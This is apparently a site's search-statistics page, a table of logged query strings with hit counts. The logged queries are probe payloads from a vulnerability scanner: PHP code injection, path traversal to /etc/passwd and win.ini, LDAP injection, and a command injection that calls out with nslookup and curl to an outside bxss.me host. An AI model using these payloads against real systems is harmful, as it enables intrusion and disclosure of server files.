Stats (83696 total)
By Queries [123747 filled values / 300129 total hits]
| Queries | Hits | % |
|---|---|---|
| Submit&query=e&query_type=keyword&record_types[]='.gethostbyname(lc('hiteg'.'xoxewthz63c8d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(85).chr(114).chr(80).' | 1 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=';print(md5(31337));%24a=' | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=./Collection | 2 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=../Collection | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=../../../../../../../../../../../../../../windows/win.ini | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=../../../../../../../../../../../../../../etc/shells | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=../../../../../../../../../../../../../../etc/passwd | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=!(()%26%26!%7C*%7C*%7C | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); | 3 | 0% |
| Submit&query=e&query_type=keyword&record_types[]=;(nslookup%20-q=cname%20hitpbuqpgbosmd355f.bxss.me%7C%7Ccurl%20hitpbuqpgbosmd355f.bxss.me)%7C(nslookup%20-q=cname%20hitpbuqpgbosmd355f.bxss.me%7C%7Ccurl%20hitpbuqpgbosmd355f.bxss.me)%26(nslookup%20-q=cname%20hitpbuqpgbosmd355f.bxss.me%7C%7Ccurl%20hitpbuqpgbosmd355f.bxss.me) | 1 | 0% |
